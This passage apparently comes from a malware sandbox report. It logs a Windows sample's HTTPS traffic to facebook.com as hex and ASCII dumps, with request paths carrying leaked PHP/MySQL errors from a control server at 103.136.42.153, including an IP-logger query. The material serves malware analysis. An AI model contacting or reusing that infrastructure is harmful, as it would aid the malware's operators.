curiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E?_fb_noscript=1" /></noscript><link re
2022-09-09 16:01:20 UTC	397	IN	Data Raw: 30 30 30 30 25 32 32 25 33 45 25 30 41 25 33 43 62 25 33 45 31 30 34 35 25 32 30 2d 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 73 65 63 75 72 69 74 65 69 6e 66 6f 2e 63 6f 6d 2e 77 69 6e 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 Data Ascii: 0000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674&
2022-09-09 16:01:20 UTC	398	IN	Data Raw: 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 73 65 63 75 72 69 74 65 69 6e 66 6f 2e 63 6f 6d 2e 77 69 6e 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 Data Ascii: 4;'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%2

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.7	49752	157.240.20.35	443	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Timestamp	kBytes transferred	Direction	Data
2022-09-09 16:01:27 UTC	400	OUT	GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='SecuriteInfo.com.Win32.Malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: www.facebook.com
2022-09-09 16:01:27 UTC	401	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]} x-fb-rlafr: 0 document-policy: force-load-at-top cross-origin-resource-policy: same-origin cross-origin-opener-policy: same-origin-allow-popups Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 0 X-Frame-Options: DENY Strict-Transport-Security: max-age=15552000; preload Content-Type: text/html; charset="utf-8" X-FB-Debug: uFEXZpq6neC7z9DvkMV4lbp/eIv0kHjh0ZKoM1+aMjEUuzaN3yk6UqoP165Mo2WH6wO/BUJcfkmJm/cDNiBFRg== Date: Fri, 09 Sep 2022 16:01:27 GMT Transfer-Encoding: chunked Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Connection: close
2022-09-09 16:01:27 UTC	402	IN	Data Raw: 38 33 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 52 4d 37 76 4c 61 51 31 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 5b 63 5d 7d 77 69 6e 64 6f 77 2e 72 65 71 75 69 72 Data Ascii: 835<!DOCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="default" id="meta_referrer" /><script nonce="RM7vLaQ1">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]}window.requir
2022-09-09 16:01:27 UTC	403	IN	Data Raw: 6f 6e 20 62 28 62 29 7b 69 66 28 21 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 29 72 65 74 75 72 6e 3b 62 2e 49 5f 41 4d 5f 49 4e 43 4f 47 4e 49 54 4f 5f 41 4e 44 5f 49 5f 52 45 41 4c 4c 59 5f 4e 45 45 44 5f 57 45 42 53 51 4c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 28 61 2c 62 2c 63 2c 64 29 7d 3b 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 29 7d 7d 62 28 61 29 7d 29 28 74 68 69 73 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 52 4d 37 76 4c 61 51 31 22 3e 3c 2f 73 74 79 6c 65 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 Data Ascii: on b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="RM7vLaQ1"></style><script nonce="
2022-09-09 16:01:27 UTC	404	IN	Data Raw: 31 39 30 36 0d 0a 6e 61 6d 65 3d 26 23 30 33 39 3b 53 65 63 75 72 69 74 65 49 6e 66 6f 2e 63 6f 6d 2e 57 69 6e 33 32 2e 4d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 3f 5f 66 62 5f 6e 6f 73 63 72 69 70 74 3d 31 22 20 2f 3e Data Ascii: 1906name='SecuriteInfo.com.Win32.Malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E?_fb_noscript=1" />
2022-09-09 16:01:27 UTC	406	IN	Data Raw: 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 30 30 30 30 30 30 25 32 32 25 33 45 25 30 41 25 33 43 62 25 33 45 31 30 34 35 25 32 30 2d 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 53 65 63 75 72 69 74 65 49 6e 66 6f 2e 63 6f 6d 2e 57 69 6e 33 32 Data Ascii: nt%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='SecuriteInfo.com.Win32
2022-09-09 16:01:27 UTC	407	IN	Data Raw: 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 53 65 63 75 72 69 74 65 49 6e 66 6f 2e 63 6f 6d 2e 57 69 6e 33 32 2e 4d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 Data Ascii: 9;dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='SecuriteInfo.com.Win32.Malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20c

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.7	49777	157.240.17.35	443	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Timestamp	kBytes transferred	Direction	Data
2022-09-09 16:01:51 UTC	408	OUT	GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: www.facebook.com
2022-09-09 16:01:51 UTC	410	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]} x-fb-rlafr: 0 document-policy: force-load-at-top cross-origin-resource-policy: same-origin cross-origin-opener-policy: same-origin-allow-popups Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 0 X-Frame-Options: DENY Strict-Transport-Security: max-age=15552000; preload Content-Type: text/html; charset="utf-8" X-FB-Debug: pws5HJFVtIOipKcvcpbcNZ2MkECIBVAaH3N8CBaAy3tCa6BqlmrGaNDFvC2atU63sb4PzTA5evMj7cjFTpjq+Q== Date: Fri, 09 Sep 2022 16:01:51 GMT Transfer-Encoding: chunked Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Connection: close
2022-09-09 16:01:51 UTC	411	IN	Data Raw: 39 61 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 6b 71 48 63 38 35 46 31 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 5b 63 5d 7d 77 69 6e 64 6f 77 2e 72 65 71 75 69 72 Data Ascii: 9af<!DOCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="default" id="meta_referrer" /><script nonce="kqHc85F1">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]}window.requir
2022-09-09 16:01:51 UTC	412	IN	Data Raw: 6f 6e 20 62 28 62 29 7b 69 66 28 21 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 29 72 65 74 75 72 6e 3b 62 2e 49 5f 41 4d 5f 49 4e 43 4f 47 4e 49 54 4f 5f 41 4e 44 5f 49 5f 52 45 41 4c 4c 59 5f 4e 45 45 44 5f 57 45 42 53 51 4c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 28 61 2c 62 2c 63 2c 64 29 7d 3b 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 29 7d 7d 62 28 61 29 7d 29 28 74 68 69 73 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6b 71 48 63 38 35 46 31 22 3e 3c 2f 73 74 79 6c 65 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 Data Ascii: on b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="kqHc85F1"></style><script nonce="
2022-09-09 16:01:51 UTC	413	IN	Data Raw: 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 3f 5f 66 62 5f 6e 6f 73 63 72 69 70 74 3d 31 22 20 2f 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 6d 61 6e 69 66 65 73 74 22 20 69 64 3d 22 4d Data Ascii: 32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E?_fb_noscript=1" /></noscript><link rel="manifest" id="M
2022-09-09 16:01:51 UTC	413	IN	Data Raw: 31 33 35 63 32 0d 0a 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 62 6f 6f 6b 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 65 61 72 63 68 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 70 65 6e 73 65 61 72 63 68 64 65 73 63 72 69 70 74 69 6f 6e 2b 78 6d 6c 22 20 68 72 65 66 3d 22 2f 6f 73 64 2e 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 62 6f 6f 6b 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 6d 65 64 69 61 3d 22 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 Data Ascii: 135c2age Not Found \| Facebook</title><link rel="search" type="application/opensearchdescription+xml" href="/osd.xml" title="Facebook" /><link rel="alternate" media="only screen and (max-width: 640px)" href="https://www.facebook.com/%3Cbr%20/%3E%0A%3Cb%3
2022-09-09 16:01:51 UTC	415	IN	Data Raw: 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 6d 65 64 69 61 3d 22 68 61 6e 64 68 65 6c 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 44 65 70 72 65 63 61 74 65 64 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 54 68 65 25 32 30 6d 79 73 71 6c 25 32 30 65 78 74 65 6e 73 69 6f 6e 25 32 30 69 73 25 32 30 64 65 70 72 65 63 61 74 Data Ascii: 5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E" /><link rel="alternate" media="handheld" href="https://www.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecat
2022-09-09 16:01:51 UTC	416	IN	Data Raw: 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 6f 64 70 2c 6e 6f 79 64 69 72 22 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 4c 6f 67 20 69 6e 20 6f 72 20 73 69 67 6e 20 75 70 20 74 6f 20 76 69 65 77 22 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 65 20 70 6f 73 74 73 2c 20 70 68 6f 74 6f 73 20 61 6e 64 20 6d 6f 72 65 20 6f 6e 20 46 61 63 65 62 6f 6f 6b 2e 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 6d 61 73 6b 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 61 6e 79 22 20 68 72 65 66 3d 22 2f 69 63 6f 6e 2e 73 76 67 22 20 63 6f 6c 6f 72 3d 22 23 33 62 35 39 39 38 22 20 2f Data Ascii: name="robots" content="noodp,noydir" /><meta property="og:title" content="Log in or sign up to view" /><meta property="og:description" content="See posts, photos and more on Facebook." /><link rel="mask-icon" sizes="any" href="/icon.svg" color="#3b5998" /
2022-09-09 16:01:51 UTC	418	IN	Data Raw: 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 6b 71 48 63 38 35 46 31 22 3e 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 48 61 73 74 65 53 75 70 70 6f 72 74 44 61 74 61 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 6d 29 7b 6d 2e 68 61 6e 64 6c 65 28 7b 22 63 6c 70 44 61 74 61 22 3a 7b 22 31 38 31 34 38 35 32 22 3a 7b 22 72 22 3a 31 7d 2c 22 31 38 33 38 31 34 32 22 3a 7b 22 72 22 3a 31 2c 22 73 22 3a 31 7d 2c 22 31 39 34 39 38 39 38 22 3a 7b 22 72 22 3a 31 7d 2c 22 31 38 34 38 38 31 35 22 3a 7b 22 72 22 3a 31 30 30 30 30 2c 22 73 22 3a 31 7d 2c 22 31 37 34 34 31 37 38 22 3a 7b 22 72 22 3a 31 2c 22 73 22 3a 31 7d 7d 2c 22 67 6b 78 44 61 74 61 22 3a 7b 22 35 39 31 39 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 36 50 47 70 74 49 Data Ascii: <script nonce="kqHc85F1">requireLazy(["HasteSupportData"],function(m){m.handle({"clpData":{"1814852":{"r":1},"1838142":{"r":1,"s":1},"1949898":{"r":1},"1848815":{"r":10000,"s":1},"1744178":{"r":1,"s":1}},"gkxData":{"5919":{"result":false,"hash":"AT6PGptI
2022-09-09 16:01:51 UTC	419	IN	Data Raw: 51 75 65 72 79 50 61 72 61 6d 73 22 2c 5b 5d 2c 7b 22 72 65 6c 61 74 69 76 65 22 3a 7b 7d 2c 22 64 6f 6d 61 69 6e 22 3a 7b 7d 7d 2c 36 32 33 31 5d 2c 5b 22 43 6f 6f 6b 69 65 44 6f 6d 61 69 6e 22 2c 5b 5d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 22 7d 2c 36 34 32 31 5d 2c 5b 22 42 6f 6f 74 6c 6f 61 64 65 72 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 64 65 66 65 72 42 6f 6f 74 6c 6f 61 64 73 22 3a 66 61 6c 73 65 2c 22 6a 73 52 65 74 72 69 65 73 22 3a 5b 32 30 30 2c 35 30 30 5d 2c 22 6a 73 52 65 74 72 79 41 62 6f 72 74 4e 75 6d 22 3a 32 2c 22 6a 73 52 65 74 72 79 41 62 6f 72 74 54 69 6d 65 22 3a 35 2c 22 73 69 6c 65 6e 74 44 75 70 73 22 3a 66 61 6c 73 65 2c 22 68 79 70 53 74 65 70 34 22 3a 66 61 6c 73 65 2c 22 70 68 64 4f 6e 22 3a Data Ascii: QueryParams",[],{"relative":{},"domain":{}},6231],["CookieDomain",[],{"domain":"facebook.com"},6421],["BootloaderConfig",[],{"deferBootloads":false,"jsRetries":[200,500],"jsRetryAbortNum":2,"jsRetryAbortTime":5,"silentDups":false,"hypStep4":false,"phdOn":
